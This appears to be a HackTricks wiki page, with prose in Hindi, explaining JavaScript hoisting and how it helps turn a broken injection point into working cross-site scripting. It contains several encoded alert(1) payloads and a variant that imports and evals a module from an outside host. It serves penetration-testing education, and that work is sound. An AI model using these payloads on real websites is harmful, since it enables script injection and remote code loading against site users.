JS Hoisting

Support HackTricks

Basic Information

JavaScript भाषा में, एक तंत्र जिसे Hoisting कहा जाता है, का वर्णन किया गया है जहाँ चर, कार्य, कक्षाओं, या आयातों की घोषणाएँ उनके कोड के निष्पादन से पहले उनके दायरे के शीर्ष पर अवधारणात्मक रूप से उठाई जाती हैं। यह प्रक्रिया स्वचालित रूप से JavaScript इंजन द्वारा की जाती है, जो स्क्रिप्ट को कई पास में पार्स करता है।

पहले पास के दौरान, इंजन कोड को पार्स करता है ताकि वाक्य रचना की त्रुटियों की जांच की जा सके और इसे एक अमूर्त वाक्य रचना वृक्ष में परिवर्तित करता है। इस चरण में होइस्टिंग शामिल है, एक प्रक्रिया जहाँ कुछ घोषणाएँ निष्पादन संदर्भ के शीर्ष पर ले जाई जाती हैं। यदि पार्सिंग चरण सफल होता है, जो वाक्य रचना की त्रुटियों के बिना संकेत करता है, तो स्क्रिप्ट का निष्पादन आगे बढ़ता है।

यह समझना महत्वपूर्ण है कि:

  1. स्क्रिप्ट को निष्पादन के लिए वाक्य रचना की त्रुटियों से मुक्त होना चाहिए। वाक्य रचना के नियमों का सख्ती से पालन किया जाना चाहिए।

  2. स्क्रिप्ट के भीतर कोड का स्थान होइस्टिंग के कारण निष्पादन को प्रभावित करता है, हालाँकि निष्पादित कोड इसकी पाठ्य प्रतिनिधित्व से भिन्न हो सकता है।

Types of Hoisting

MDN से मिली जानकारी के आधार पर, JavaScript में चार विशिष्ट प्रकार की होइस्टिंग हैं:

  1. Value Hoisting: एक चर के मूल्य का उपयोग उसके घोषणा पंक्ति से पहले उसके दायरे में सक्षम बनाता है।

  2. Declaration Hoisting: एक चर को उसके घोषणा से पहले उसके दायरे में संदर्भित करने की अनुमति देता है बिना ReferenceError उत्पन्न किए, लेकिन चर का मूल्य undefined होगा।

  3. यह प्रकार अपने दायरे के भीतर व्यवहार को बदलता है क्योंकि चर की घोषणा उसके वास्तविक घोषणा पंक्ति से पहले होती है।

  4. घोषणा के दुष्प्रभाव उसके साथ शामिल अन्य कोड के मूल्यांकन से पहले होते हैं।

विस्तार से, कार्य घोषणाएँ प्रकार 1 होइस्टिंग व्यवहार प्रदर्शित करती हैं। var कीवर्ड प्रकार 2 व्यवहार को प्रदर्शित करता है। लेक्सिकल घोषणाएँ, जो let, const, और class शामिल हैं, प्रकार 3 व्यवहार दिखाती हैं। अंत में, import कथन अद्वितीय होते हैं क्योंकि वे प्रकार 1 और प्रकार 4 दोनों व्यवहार के साथ होइस्ट होते हैं।

Scenarios

इसलिए यदि आपके पास ऐसे परिदृश्य हैं जहाँ आप एक अनघोषित वस्तु के बाद JS कोड इंजेक्ट कर सकते हैं, तो आप इसे घोषित करके वाक्य रचना को ठीक कर सकते हैं (ताकि आपका कोड निष्पादित हो सके बजाय इसके कि एक त्रुटि फेंके):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie('leo','INJECTION')
test['cookie','injection']

अधिक परिदृश्य

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if(config){
return;
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config;`-alert(1)`//`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:"https://try-to-catch.glitch.me/"+`
let config;`-alert(1)-`//`+""
}
})
}

References

HackTricks का समर्थन करें

Last updated